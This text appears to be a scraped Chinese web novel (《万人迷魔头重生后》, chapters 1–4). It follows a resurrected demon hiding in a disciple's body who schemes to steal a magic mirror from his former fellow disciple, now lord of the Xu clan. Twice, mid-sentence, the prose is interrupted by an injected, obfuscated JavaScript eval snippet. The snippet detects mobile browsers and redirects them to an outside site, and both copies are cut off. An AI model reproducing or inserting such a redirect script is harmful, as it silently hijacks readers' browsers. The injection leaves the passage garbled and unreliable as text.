《万人迷魔头重生后》 1. 魇魔 北垣,离霜城。 “哎,邪门!”一位中年模样的修士被冻得满脸通红,他搓起青白色的手指,骂骂咧咧地走进了客栈,“怎么太阳都出来了?” 北垣终年积雪,朔风强劲,连寻常修士都无法抵挡,这些天也不知撞了什么邪,一连几天都是晴空万里。 想起更北方的那处诡秘之地,中年修士不禁打了个寒颤。 离霜城的客栈内,几位修士模样的人闲坐一处,桌上暖炉温着酒,都在议论着这不寻常的天气。 那中年修士随意找了个角落坐下,颤抖的双手迅速拢上了桌上的暖炉,感受到久违的温暖,他舒服地喟叹了一声。 其中一人见到到来,问道:“这位兄台,到底寻到那逃出的魇物了没有?” “若是找到那魇物,我还会在这里?早就去找徐家领一万灵石了!”中年修士咧嘴一笑。 听到魇物还未找到,其他人面上不显,眼中皆是浮起一丝不安。 二十年前的魇灾惨烈无比,据说当年北垣雪原上未留一只活物,幸得白宗主一剑诛杀妖邪,又降下盖世神通封印暗渊,彻底断了魇族的活路。 可昨日有人在雪原上发现了两名死去的徐家子弟,死状极其惨烈,另外一名同行的徐家子弟也消失无踪。 也不知是何人传出,暗渊封印大阵破损,镇压在暗渊之下的魇族跑出,被巡逻的徐家子弟发现,展开了一场惨无人道的单方面屠杀。 “……据说那两人腹部的金丹消失无踪,都破了好大的血洞,”一位少年说起自己听来的传闻,滔滔不绝,“一定是魇族干的,他们最喜欢的就是生吞修士的血肉和金丹!” “咳咳!” 在他身后的阴暗角落里,一道黑影忍不住咳嗽了一声。 少年浑身一抖,朝后方看去,竟是一位的年轻人。 他坐没坐相,犹如一滩烂泥堆在角落里,若不是方才他发出的咳嗽声,众人根本察觉不到角落里竟然藏着一个人。 角落里烂泥动了动,似乎坐直了身体,跳跃的火光映照在他脸上,显出雪白的下颌。 “生吞,血肉?”他缓缓地开口,每个字都一顿一顿,似乎很久未曾开口说过话了,“哎呀,听上去好可怕。” 那名少年见他年纪相仿,一个人孤零零地缩在墙角,不由得来了兴致,说道:“那是自然,魇族个个都是青面獠牙,状如恶鬼,也只有夜晚要吸食人心的时候才会披上人皮,说不定那落单的修士已经被夺舍了!” 听到扒皮食心,墙角之人似乎极其害怕,抱着一团往阴影处缩去。 少年挺起胸膛,高声道:“幸亏这落单的魇族没遇到本少侠,不然凭我这手中剑,它定有来无回!” 他尚且年轻,未经历过魇灾,遂能肆意评论那镇压在暗渊之下的魇族。 “好好好,果然英雄出少年。”墙角之人似乎也为他这话生出了勇气,鼓起掌来,火光映在他的发丝上,似流火昭昭。 听到有人捧场,少年越发自得,正欲说些什么,就听到那位中年修士冷哼一声。 “无知小儿,你懂什么,若在二十年前,你刚才那番话就足以让你尸骨无存,满门皆灭!” 其余人皆是一言不发,深藏在记忆中的久远恐惧与不安正逐步覆盖这小小的客栈,就连火炉中的焰火都暗沉了一分。 少年人被陌生人训斥,正欲反驳,却见各位师兄凝重神色,一时间也止住了言语。 “二十年前?”墙角之人变幻了个姿势,眯起眼,靠得近了些,“时间过得这么快?” 少年此时才看见那人的相貌。 这是一张年轻秀雅的面容,火光映照之下,脸色尤为苍白,竟隐隐透出一股青黑色,几缕发丝粘在白瓷般的肌肤上,一点点水珠正顺着他的鬓角落下,滴在同样湿透的衣服上。 北垣寒冷难耐,即便是修士也需穿上能够御寒的衣物,可眼前这人衣衫单薄不说,居然是湿的! 这该有多冷呀! 少年下意识地抖了抖,心里愈发同情这位蹲在墙角的可怜人。 “这位兄台,你要不来我身边坐坐,烤烤火,暖暖身子。”他挪了挪屁股,硬是空出一道可怜的缝隙。 墙角之人也不客气,慢吞吞地站起身,众人还没看清的他的动作,他已坐在少年身旁。 火光跳跃在他的脸上,似是铺上一层璀璨的辉光,那人侧脸看着少年,懒洋洋的手腕托腮,继续坐没坐相,硬生生把其他人都挤到了一边。 那人无奈地说道:“二十年,我最讨厌补课了。” 他露出了紫色袖口,腰间垂落着一枚小小的金印。 少年瞧得出是那金印上刻着“徐”字,见那人又是烂泥般瘫在椅子上,不由得腹诽,北垣徐氏最重礼节,怎么教出个这样的弟子? 他偷偷瞄着那位徐家子弟,正巧那人也同一时间看向他。 偷看人家被抓包,少年惊得正要转头,却见到那人眼眸中闪过一丝不易察觉的金芒。 少年的双眼似乎泛起了迷雾,转瞬之间又变为清明。 他张了张嘴,突然忆起自己要给这位兄台讲些逸闻。 “二十年前,北垣以北,暗渊魇族暴动,有一只魇魔发了狂,不禁屠杀了整个魇族,还差点打上离霜城!”少年义愤填膺地说道,“若不是北垣徐氏奋力抵挡,恐怕离霜城中已无活口!” 施展了魇术的黎昭听得津津有味,他极其熟稔地从少年面前的瓜果盘里搜刮了一把花生,吭哧吭哧地吃起来,捧哏道:“然后呢?然后呢?” 少年一拍桌上的雪刀,说道:“就在这千钧一发之际,当年还是应天宗首座的白宗主挺身而出,一剑刺穿了那妖邪的心脏,妖邪就此神魂皆散!” 听到“神魂皆散”四个字,黎昭噗呲一笑,差点被花生噎到,他又从手忙脚乱地倒了一杯茶,咕噜咕噜喝下。 “白宗主担心暗渊之下的魇族再次兴风作浪,降下绝世神通,封印了整个暗渊,可谓是功在千秋!”少年眼前似乎浮现出了白宗主当年镇压暗渊的风姿,不由得心驰神往,“从此人间再无魇魔踪迹,天下就此太平!” 这一段却是黎昭未曾知晓的内容,听到白宗主封印了整个暗渊时,他倒吸了一口冷气,说道:“暗渊无边无际,白解尘真能封印?” 少年答道:“师兄们跟我说的,不会有假。” 听到这回答,黎昭只觉得手里的花生都不香了。 白解尘真是是天下第一残忍虚伪之人,诛杀自己不说,还将整个暗渊封印,断绝了魇族复生之路,可谓是绝心绝情至极。 更何况他竟能以一己之力设下天地大阵,修为可谓是震古烁今。自己附身的这破烂躯壳金丹未结不说,全身经脉寸断,要报仇得费一番功夫。 他意兴阑珊地将手中的花生放回了少年的果盘里,轻轻打了个响指。 刹那间,整个客栈安静了下来,所有人都直勾勾地看着一处。 少年只觉得浑身不能动弹,他惊异地瞪着眼前之人。 火光映衬下的漆黑瞳孔霎时变得璀璨夺目,随即变幻成了一双金色眼眸。 独属于魇族特有的金眸映在少年瞳孔中,黎昭缓缓靠近,歪着脑袋,似是认真地说道:“我真的状如恶鬼吗?” 他垂下眼眸,鸦羽般的睫毛在眼尾勾勒出慵懒的弧度,双眉纤长,嘴唇含笑,肤色比北垣的雪还要白上三分,眉心一点血色朱砂浓得几乎要淌下血。 眼前的“恶鬼”竟长着一副艳绝无双的面容。 少年双唇颤抖,喉间哼哧作响,只能发出你你你的气音,竟吓得一句话也说不出来。 黎昭伸出手,虚虚拢在暖炉上。 “哎呀,终于能暖和了一阵。” 他舒服地眯眼,白玉般的指间跳跃着火光。 黎昭又稍稍靠近,检查起自己的一双手,嘟囔道:“我可是用雪洗了好久,才把血迹洗掉,现在应该看不出来了吧。” 他还有闲心在少年面前晃悠着修长如玉 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空中骤然响起震天雷鸣,一道巨大的闪电几乎贯穿了整个天空。 整个城池上方浮起若隐若现的紫色闪电,集聚到极点时轰然落下,几百道雷电将每个街道尽数封印。 城中人不得不聚在了中央大街上,对这道霸道无比的闪电议论纷纷。 “驰雷令?徐家家主在此?” “这么大的阵仗,捉谁?那魇魔抓住了?” “这徐家好大的架势,当这离霜城是他的了吗?” “嘿,不好意思,离霜城真的就是徐家的!” “连着好几天不下雪了,没人管管吗?” 黎昭被雷结结实实地劈了一道,此刻正狼狈不堪地躲在人群里,心中暗骂,他一个小小魇魔,也不至于让风雷主出动吧? 他急急拍去被烧焦的衣角,企图瞒天过海,不料耳边响起一道惊雷—— “他在这里!” “抓住了!” 黎昭被那客栈中的修士团团围住,无处躲藏,无奈地摊手,说道:“你们看错人了,我分明是徐家弟子,怎会是状如恶鬼的魇?” 修士们极为忌惮魇魔,他们手持各类法器,丝毫不敢怠慢。 “都让让!雪戎狼来了!”人群有人惊呼。 天际尽头出现了四道影子,竟是四只巨大的雪戎狼,它们踏空而行,速度极快,瞬息间,就落在了离霜城内。 四只雪戎狼嘴里皆套着金箍,身后跟着一座华贵无比的巨大车辇,在雪光映衬之下金碧辉煌。 见到这拉风至极的派头,黎昭的心提了起来,果真是那老不死的徐老头! “风雷主!” 待到车辇停在众人之前,一名修士率先上前一步,行礼道:“我们已经抓住了魇魔,有人看到,千真万确抵赖不得!” 朦胧月帐中显出一道影子,听到那名修士的话语,微微颔首,并不言语。 黎昭却能感受到一道利剑般的目光隔着月纱落在自己的脸上。 “风雷主,速速擒住这妖邪,好好审问!” “对,用诛仙鞭打他!” “杀了他!” 修士们纷纷叫嚷道。 直到此刻,驰雷令的作用才逐渐消散,月纱被一把通体雪白的刀刃挑起。 车辇上斜斜地倚着一位年轻人,一手慵懒地举着剑鞘,箭袖紫袍,身披雪白裘衣,金线腰封上垂着各色玉佩金环,尚在琳琅作响。 他的眼眸比常人深邃,鼻梁高挺,紧紧抿起的嘴唇线条分明,透出一股矜贵高傲之态。 那双点漆般的墨瞳正注视着黎昭,眼中闪过几道不易察觉的紫色细闪。 待见到风雷主的样貌,黎昭瞬间由悲转喜,若不是被围在人群之中,他定要冲上去抱住徐风盛喊一声—— “好哥哥!” 2. 照骨镜 黎昭年少时胆大妄为,伪装成人形进了应天宗。 届时的应天宗威名赫赫,已有天下第一宗的架势,许多世家子弟都削尖了脑袋往里送,徐风盛与白解尘就是其中翘楚。 当年他们三人都自觉天纵奇才,互相看不顺眼,偏偏黎昭入门最迟,还要捏着鼻子喊二人师兄。 白解尘孤高冷傲,不屑同他交往,他与徐风盛更为亲切。 二十年过去,昔日同门依旧是那样高高在上、目中无人的样子,比从前更显锋芒。 自己倒成了人人喊打的魇魔。 “风雷主,此人乃是魇魔,他自己承认杀了那两名徐家弟子!”人群中有人喊道。 面对他人的呵斥,黎昭充耳不闻,他暗暗看向随后而来的徐家门人。 他们看向自己的目光是疑惑、戒备、恐惧。 黎昭忽地一笑,说道:“众所周知,魇生于暗渊,金眸对角,我怎么会是魇魔。” 他故意大声说话,观察对面徐家门人的反应,他们对自己这副身体不熟悉,看来这具身体是徐家的边缘人。 修士们面面相觑,那位曾见过黎昭真身的少年跳出来,说道:“你,你方才向我展露了真身,魇魔最会画皮,你分明就是扒了那人的皮囊!” 此言一出满座哗然,魇魔在世间无踪二十年,许多人还记得恐怖凶残的怪物是如何荼毒世间,现下听那少年而言,皆是心中骇然。 “聒噪。” 徐风盛不耐皱眉,全场立即鸦雀无声,他收回视线,说道:“徐正,把人带走。” 黎昭垂下头,掩盖住嘴角的笑意。 不是那个徐老头就好,徐风盛这人自视甚高,向来不喜欢同他人解释缘由。 以他的修为定是看出自己这副身体破破烂烂,根本不可能是魇魔,索性将自己带回去。 “早闻徐家护短,今日一见果然如此,没想到竟然到了包庇魇魔的程度!” “对啊,既然风雷主跟魇魔同流合污,那还坐得正这离霜城主之位吗!” 修士们勃然大怒,纷纷叫嚷。 徐风盛一顿,眉头紧皱,眼中聚起紫闪,手中的映雪刀也在微微颤抖,若是相熟之人便知,他已有怒火。 再等一秒,那些叫嚷的修士怕下一秒就会被劈得体无完肤。 “等一下,等一下!”那位名叫徐正的修士急急忙忙跑出,他天生一副笑脸,看着和蔼可亲。 他来到徐风盛旁,又是作揖又是赔笑脸,说道:“风雷主,不妨用灵犀照骨镜来照一下这位林小兄弟,那岂不是万全之策?” 黎昭听到灵犀照骨镜,飞速抬头瞄了眼徐风盛,又低低垂下头。 徐风盛眼中紫芒更盛,双瞳几乎变成了深紫色,他居高临下地看着徐正,线条锋利的嘴唇紧抿,一言不发。 徐正继续陪着笑脸,但黎昭能明显看见他的脑门上留下了豆大的汗珠。 过了片刻,徐风盛从怀中取出一枚古镜,递给徐正。 那镜子通体漆黑,镜面上遍布细纹,像是碎了之后又勉强拼在一起,好像轻轻碰一下便会碎掉。 黎昭见到那镜子,艰难地咽了口唾沫。灵犀透骨镜说的好听,实则是用魇族头顶的魔角研磨而成。 背面镌刻阵法,妙用无穷,最常见的功效就是映照出伪装成人的魇魔。 徐正缓缓举起透骨镜。 修士们下意识地举起手中的各式兵器,倘若那透骨镜中的人影有一丝异状,他们会将这妖孽当场诛杀。 犹如困兽的黎昭,屏住了呼吸,盯着那枚漆黑的镜子。 漆黑的镜面中,模模糊糊地映出了一道影子。 那道影子混沌不堪,随后渐渐聚拢起一个勉强的人的形状。 只是这道人影全身经脉寸断,腹中只有一枚破碎不堪的金丹。 众人惊讶地啊了一声。 黎昭适时地吐出一口鲜红,眼神凄苦,单薄的身影在寒风中摇摇欲坠,愤然道:“我自知修为平平,不能救下同门,可也不愿当场受此羞辱。” 方才群情激愤的修士们目露不忍。 有什么比当众揭开伤疤更让人难堪?此人的心脉已断,药石罔顾,更不要说是魇魔化身,也不会制造幻象。 “那,那我刚才看见的是什么?”那名少年也动摇了。 “应是蜃相作怪,”徐正乐呵呵地说道,“诸位仙师又刚从雪原上巡逻回来,辛苦万分,是以被蜃相迷惑,所幸众仙师修为高深,立即识破了蜃相,才没有酿成大祸。” 北垣雪原广袤,时常会有蜃相现世,心中恐惧者会被蜃相附着,轻者胡言乱语,重者走火入魔。 他一番说辞让众人如沐春风,连带着方才对徐风盛的不满也烟消云散了。 “林照之。” “林照之!谷主喊你呢!”徐正挤眉弄眼。 黎昭一抬头对上徐风盛那双不悦的眼眸。 林照之原来是这具身体的名字。 徐风盛取回照骨镜,放入怀中,询问:“昨日你是如何逃脱?” 黎昭莫名其妙从这具身体中醒来,身侧已然倒了两具破腹的尸体,你问我,我问谁? “那时的情形过于可怕,我记不清了。”黎昭张口就来。 徐风盛命令道:“派去的人继续追查魇魔踪迹,格杀勿论。” 吩咐完,徐风盛看向黎昭,说道:“回谷。” 北垣终年寒冷,只有几处山谷能避风挡雪,谷内埋着几处温泉,徐家先祖迁居到此,倒也成就了一番事业。 黎昭被管事徐正带到了一间幽静雅致的阁楼,一进去就感到温暖如春,他冰冷的尸体都活泛了不少。 徐正为人圆滑,处事周到,一见黎昭就夸奖起他为救同门不顾自身安危的英勇事迹,直说要给他安排个钱多事少的好前程,叫作统筹主管。 黎昭这人就不禁夸,晕晕乎乎地答应了。 等到第二天,徐正把他领到一沓厚厚的案卷前,黎昭傻眼了。 “统筹,统筹,便是通盘筹划,谷中大小事务皆出自我手,这每笔钱财的进出都在这簿子上,如今我已算到了天元年一百一十年,剩下的还要拜托主管了。”徐正深深作揖。 黎昭:“……” 他一坐下,望着密密麻麻的文字,一眨眼竟又变成了漫天飞舞的蝌蚪。 天杀的,应天宗的术数作业他都是抄徐风盛的,他怎么敢当这统筹主管? 第一天上班,黎昭不敢露怯,硬着头皮算了几笔,抬起毛笔,迟迟不敢写下去,活像当年写术数作业的样子。 他迟疑了许久,终于写下一笔款项结余,徐主管就倒吸一口冷气,像是一条被踩了尾巴的蛇,嘶嘶嘶地响着。 “林仙师,来来来,”他速速拉过黎昭,坐在了窗边的茶座上,“您辛苦了,休息一下,有益 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773637|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身心。” 黎昭有些不好意思,扭捏道:“还有一笔款项,没写上去呢。” 北垣寒冷,徐正热汗都要冒出来,他随手拿了个书册给黎昭,拍着他的手,连声说道:“不用算了,不用算了,看看书,陶冶情操” 黎昭取来一观,封面写着《太平伏妖传一》,名字倒是一本正经,应当是仙门弟子之间最流行的励志传说。 翻着,翻着,隐约觉得哪里不对。 此书写的是天下第一宗内有两位仙门弟子素来交好,某日白师兄无意间发现自己的师弟竟是一只魅妖!原来魅妖早时在人间遥遥见了师兄一眼,便不能忘怀,他化作人形上门,只愿报恩与师兄朝夕相处,不曾想竟显露了原形。 后面通篇便是描述这白师兄是如何“伏”妖,那小魅妖如何婉转低吟,如何泪眼朦胧,如何痛哭求饶。 黎昭:“……” 他瞄了眼正在捧书细读、眼圈泛红的徐主管,真是人不可貌相。 “咚——” 谷中传来暮钟。 对面的徐主管正看到动情处,眼里似有泪光,听到了暮钟声,他迅速合上话本,正色道:“未时到了,徐某要下班了。” 黎昭见他动作迅速收拾完茶具,径直朝屋外走去,急忙拉住他:“等一下,《伏妖传》第二册在哪?白师兄那渣男怎么了?” 徐正一刻也不想停留,说道:“徐某下班了,明日再说,明日再说!” 黎昭瞪圆了双眼,望向那堆积成山的账本,只觉得天塌了一般,难不成要单独留自己加班,扯住徐正更不让走:“那账本没算完啊!别走别走!” 徐正嘿嘿一笑,说道:“无妨,这帐嘛是永远算不完的,徐风盛每晚都会来亲自核算,不用担心不用担心。” 到了下班时刻,徐正连风雷主也不称呼了,脚下生风,一眨眼便不知人影。 黎昭见他的人消失不见,轻轻勾起唇角,终于寻得机会去偷镜子了。 躲在暗处,左等右等,终于见到了徐风盛,待到屋内亮起灯,听到熟悉的咒骂声,黎昭才放心离开。 他前世来过风雷谷,对徐风盛的住所自然熟悉,再加上那灵犀透骨镜的感应,不多时就来到了定风居。 此乃风雷谷的最低处,有一池温泉,泉水日夜沸腾,驱散冷气,使得北垣寒地里生出一处春景。 绿潭花房,白雾轻绕,妙不可言。 黎昭脚踏嫩草,一时间也有点不忍,他身影鬼魅,瞬息间就来到了定风居门前,想来也无人敢也闯风雷主的居所,那盛门轻轻一推便开了。 北地不同于他处,最珍惜的便是木材,定风居皆是由上好楠木所制,一景一物与应天宗时的居所无半点分别。 黎昭能感应灵犀透骨镜的方位,他不敢所做停留,脚步轻点,如一阵灵巧的微风,来到了寝居。 灵犀照骨镜正放在床榻上,四周帘幔轻笼,镜面正对着他。 此镜皆是魇之魔角所做,徐风盛手中的这枚灵犀照骨镜正是黎昭的魔角所化。 他的镜子自然是随心而动。 黎昭缓缓靠近,镜面现出一道朦胧人影,金眸黑发,肤白若瓷,眉间一点朱砂,美丽得近乎妖孽。 他屏住呼吸,正欲伸出手,就听到身后一声暴喝—— “林照之,你在干什么!” 黎昭瞬间汗毛倒立,徐风盛什么时候回来了?! 3. 摸鱼 黎昭缓缓扭头,几乎都能听到脖子咯咯作响的声音。 那厚厚一沓的账本,他算得这么快! 徐风盛双眸紫云凝聚,爆裂出无声的怒火。 手中映雪刀锵锵低吟,刺眼的电弧在雪白的刀刃上跳跃,若不是要问话,恐怕这一刀就会朝着黎昭劈去。 黎昭双腿都发软了,他生平最怕雷电之术。 眼见那刀刃即将挥下,黎昭抱着脑袋大喊道:“风雷主,有人杀我!有人要杀我!” 刀尖直指黎昭的咽喉,他冷声道:“胡说八道,谷内怎会有人杀你!” 这宝贵的短短几秒给了黎昭充分的思考时间,他说瞎话向来是张口就来:“方才我正在谷中闲逛,我遇到一个杀手要刺杀我!我吓得乱跑,又怕波及其他师兄弟,所以急忙来寻谷主庇护。” 他说话速度又快,字又多,主打一个不给他人思考的机会,说完之后连连喘气,摆手道:“真的,我说的都是真的。” 徐风盛眉心紧皱,他执掌风雷谷多年,定是不会相信眼前之人的满口胡言,这人处心积虑进入风雷谷,又潜入定风居,怕是有什么阴谋。 想及此处,徐风盛缓缓垂下刀尖,冷笑道:“我会唤疾风隼,若你有半句假话,定让你尝遍风雷谷十八道雷刑。” 疾风隼是盘旋于风雷谷上方的灵鸟,视力极佳,徐家靠此鸟监控谷内事务。 黎昭眼珠子一转,装着一肚子坏水想着如何脱困,突然他面色一凝,眼珠子缓缓向右,声音轻若细语:“徐风盛,你身后有人。” 徐风盛正欲呵斥,突然感到背后窜来一道阴冷的气息,视线忽移,看向床榻上的照骨镜。 镜中有一人影! 不疑有他,徐风盛转身挥刀,毫不拖泥带水,犹如流星飒沓,银河落天,夹杂这呼啸无边风雪,瞬间整个定风居内亮如白昼。 黎昭整个单薄的身板都贴在了墙面上,脸被这刚猛的刀风吹得脸皮生疼,风雪雷雨声中,他看向那位不速之客,到底是哪位勇士敢擅闯定风居,救自己一条性命。 来人全身上下裹在黑袍之内,身形极为怪异,高得不似寻常人,手脚奇长,脸孔笼罩在兜帽之下,身法怪异,扭曲一转,竟躲开了这一刀。 徐风盛冷哼:“雕虫小技。” 他横劈砍去,竟是预判到了黑衣人的落处,刀气纵横,劈开那人遮掩面部的兜帽。 怪人露出真面目时,徐风盛与黎昭不约而同地发出了一声:“咦?” 那人的面孔光滑无比,反射着惨白的诡光,看不见任何五官! 怪人似乎刻意等这一刻,位于嘴唇位置的部位裂开一道直至脸颊两侧的漆黑痕迹,阴冷的笑声在室内回荡,左手抬起,直勾勾地迎向徐风盛的刀刃。 “嘭!” 那人手臂宛若金刚,两者相触,巨大的气浪自空中散开,定风居内物件叮咣作响,尽数掉在了地上。 黎昭被这股强大的气劲震得五脏六腑都挪了位,借势一翻,猫着腰偷偷远离这是非之地,眼角余光瞥见满室尘埃中一点冷芒掠过。 他心中警铃大作,内丹破碎,只能用血咒了! 咬破舌尖,凭空画出一道金罡咒,几乎是同时,那黑衣人的剑破空而来,刺到了黎昭的眉前。 剑尖堪堪停在黎昭的眉心,那处肌肤柔软,仅仅是一停顿便刻出浅浅的凹痕,一点血珠顺着黎昭的面庞落下。 但再近一步,已是无法。 那人的左手迎向徐风盛的刀刃,右手竟能延长数米,手臂的顶端居然是一柄锋利异常的锥钉! 原来同徐风盛打斗是障眼法,实则是要取黎昭的性命! 感受到前端的阻力,黑衣人的发出了疑惑的气音,他歪着脑袋,想要再刺,后方徐风盛一刀又至,这一刀径直劈在黑衣人的后方! 徐风盛怒道:“休要伤我门下弟子。” 这一刀威猛刚烈,黑衣人眼部位置深陷出黑洞,极为怨毒地瞪着黎昭,体内激荡出不甘的哀嚎。 黑袍体内迸射出无数亮光,轰然倒塌成一块块漆黑的光滑肉块,眨眼间没入地面,消失无踪。 在所有人看不见的地方,一滴血珠顺着尖锥窜入了黑袍人的体内。 徐风盛面色凝重,说道:“傀儡。” 他提刀半蹲下身,迅速画了一道追踪符,后又取出数只符纸捏的鹤影,焚烧殆尽。 片刻后,谷内钟声阵阵,四处燃起点点雷火,盘旋在风雷谷上空的疾风隼长鸣不绝。 今晚恐怕是一个不眠之夜。 徐风盛盯着那怪影消失的位置半晌,才将视线转到黎昭的脸上,见到他眉心的血痕,神情微怔,似乎有一丝伤感,只是那抹情绪转瞬而逝,正色道:“那日袭击你的是否为此人?” 黎昭笃定道:“一定是他!” 兄弟,你先背锅了! 徐风盛:“你随我身后,等捉到那刺客再回去。” 听闻此话,黎昭立刻捂住胸口,面露痛苦之色,一缕血丝自唇角淌下,气若游丝:“风雷主,我承受不住那刀气,能不能让我回去休息。” 徐风盛看穿了他躲懒的心思,说道:“一时半会死不了。” 不由拒绝,他竟唤出一道青紫电索牢牢圈住了黎昭的双手。 黎昭屈辱至极,扭着手挣脱无法,怒道:“徐风盛不要欺人太甚!” 他一出口就后悔了,现在的徐风盛可不是自己的师兄,而是风雷主,死不死是他一句话的事。 徐风盛五官都气得冷冽了几分,拽着黎昭就往风雷谷走去。 黎昭扭头望着那床塌上的灵犀透骨镜,几乎都要落下泪来。 就差一点点,就可以拿到—— “你刚才画的那道金罡咒不错,”徐风盛说得突然,“那是应天宗的独门绝技,我记得风雷谷没教会你这个。” 黎昭脚步一顿。 徐风盛一手握住青紫电索,用力一扯,索身泛起涟漪般的电弧。 强烈的白光映照在对方脸上,眼眸呈现出半透明的琥珀色,漆黑的瞳仁由于强光的刺激而在微微收缩。 徐风盛用一种审视的目光注视着他。 林照之,这名一直游离在风雷谷边缘的弟子履历干净得甚至有点不正常。 二十年前召入风雷谷,无亲无友,修为平平,在谷内籍籍无名。 那黑袍人不惜潜入风雷谷也要追杀林照之,分明是杀人灭口。 林照之藏着什么秘密? 手腕上紧贴着肌肤的电索发出阵阵蕴热,黎昭知道其中内涵的力量有多么恐怖,他立即老老实实说道:“书上看来的。” “何本书?” “风雷谷账本乙庚二号,第一千七百五十六页。” 徐风盛怒极反笑:“账本?” 黎昭:“上面有一项维持藏书阁的费用,库房迟迟不批,于是将一沓快要散架的书丢在徐正的桌上,我自是好好检验一番,其中一本应天宗的完整考题合集。” 徐风盛的嘴角扯了一下,眼神罕见的漂移。 “啊!”黎昭恍然大悟,“这是风雷主的休沐期作业吗?怎么会在藏书阁里,还是全空的?” 徐风盛越听越恼,直接用雷符贴住了黎昭的嘴巴,动作熟练得一气呵成,行云流水。 他那两片唇只需轻轻一开,恐怕就要被炸成粉末。 黎昭呜呜了几声,见到徐风盛冷酷的背影,又担心他给自己双腿绑个雷符,那岂不是只能蹦着走了? 想象了一下那画面,他难得老实了一刻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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加班了大半夜的徐管事正对窗饮茶,正看着最新的《伏妖传三》,口中啧啧作响。 库房的大门吱呀一声打开。 他头也不抬,说道:“哎呀,小友迟到了,没关系,反正没——” 话语戛然而止,黎昭前脚刚进,徐风盛竟也跟了进来。 徐管事手中的话本瞬间变成了账簿,也不知从何处掏出一支笔,装模作样地写了几笔,他装作惊讶地说道:“风雷主为何而来?” 徐风盛冷冷地看着黎昭:“送他来上班。” 黎昭浑然不觉谷主眼神杀人,他嘻嘻一笑,端坐于桌前,翻开最上方的一本账簿。 拿起墨盘上的狼毫笔,一连算了十列,全错。 徐风盛近二十年未曾见过如此术数天才,他拿走了黎昭的笔,神情堪称和蔼,大发慈悲地说道:“滚。” 他开始后悔之前的怀疑,毕竟跟一个弱智较什么劲? 过了几天“老板加班我摸鱼”的日子,黎昭雷符都不知道被赏了几次。 他寻着机会偷镜子,奈何徐风盛对他的看护过于严格,根本找不到下手的机会。 直到有一日,徐风盛实在看不惯黎昭游手好闲地跟在自己身后,丢给黎昭一件镶金嵌玉的紫袍,说道:“随我去见客,莫丢了风雷谷的脸面。” 黎昭接过衣袍,摸了摸细腻光滑的布料,捏了捏镶边的雪绒白裘,他向来喜好奢华精美之物,心想这徐风盛难得大方了一回,语气也不由得轻松愉悦:“哪个客人?” 心中想及这个名字,徐风盛眼中浮起沉沉紫韵,说道:“应天宗主,白解尘。” 4. 晴空 七日前。 北垣雪原,朔风呼啸,裹挟着无数雪粒吹白了连绵起伏的青黑石原。 一道灰影正冒着寒风,一步一步的艰难行走。 风雪交加,刚落下一道脚印又被雪粒灌满,或被朔风吹平。 北垣以北就是神秘可怖的暗渊,那处的天空都被暗渊映得鲜红,向天下人昭示着魇魔的强大与危险,近二十年魇魔不曾出现,暗渊也被封印,可那处的天空依旧闪着不详的红光。 灰袍人吐出的热气都成了冰晶,漱漱落在,消散在风中。 强风吹开了灰色的兜帽,露出那人的面庞。 他的脸呈现出一股苍青,北垣的寒冷让他的脸颊起了两团不健康的红色,面皮上遍布一道道怪异的伤口,从纵横交错的伤痕来看,竟是被牙齿啃噬的痕迹,伤口处渗着血,被朔风一吹,犹如刀割一般。 “唔——” 那人一开口说话,被灌了满嘴的风。 他心里恶狠狠地咒骂了一句,重新戴上兜帽,捂住口鼻,朝着闪着诡光的暗渊走去。 脸上的伤痕是被他豢养的小鬼啃噬的。 前阵子他养的小鬼饿了,鬼修随意择了一个村子喂饱了小鬼,不巧被几个应天宗的弟子发现,他不得不跑到北垣上。 “若是当年暗渊仍在,哪里轮得到这些杂碎嚣张。” 鬼修眯起眼,透过朦胧的风雪,望向暗渊的方向。他不知还要走多久,但到了暗渊,小鬼吸足了魇气,他自会找那些人修报仇。 越走,身上越重,脚印的痕迹一点点加重。 鬼修停下了脚步,他隐隐察觉到不对劲,不动声色地抬起脸,用眼光的余光偷偷地往后看。 一只浑身赤红的怪婴正趴在他的肩上,它咬着细小的食指,啧啧作响,露出了一截森森白骨。 怪婴捕捉到了那一瞬而逝的目光,急促地嚎叫。 “饿啊饿啊饿啊———” 这声音怪异尖锐,几乎要刺破风雪。 尖锐的悲鸣让鬼修一个踉跄倒在了雪地上,他捂住了双耳,后背埋进了雪中,刺骨的寒冷透入骨髓。 它张开口,尖针般的牙齿咬在鬼修的脸上,撕下一块血淋淋的面皮,点点血渍溅在雪地上。 “饿啊饿啊饿啊——” 一只只怪婴从鬼修灰袍中爬出,趴在鬼修的身上,森森的尖牙撕扯一片又一片血肉。 “别,别吃我,别吃我,马上要到暗渊了!你们你们有吃的!再忍忍,忍忍!” 鬼修疼得满地打滚,口中不断地求饶,眼中阴狠之色更甚,颤颤巍巍地从怀里掏出魂铃,刚要摇晃,被夹杂着碎石的朔风一吹。 魂铃掉入雪中,立即被风雪掩埋。 “该死的,该死的,在哪里,在哪里!” 鬼修疯了般扑在魂铃消失的位置,掏着那处的雪,身上的怪婴啃食到了他的骨头,非人的尖齿与骨头摩擦出渗人的呲划声。 魂铃,魂铃,找到魂铃就能控制…… 风雪停了。 北垣之上常年肆虐的风雪,居然停住了。 等到他意识到这一点的时候,鬼修身上时时刻刻尖叫的怪婴似乎见到了极为可怕的人物,蜷缩在灰袍上瑟瑟发抖,就连最喜爱的活人血肉都不肯吃了。 前方站着一道虚虚的人影,雪光莹莹一衬,恍若天神。 他身量很高,面容俊美非凡,漆黑的长发束在银冠之中,身处北垣之北竟也只穿着一身单薄的白衫,仅仅是站在前方,就像是这世间的主人正俯视着他的臣民,气势逼人,令人不敢直视。 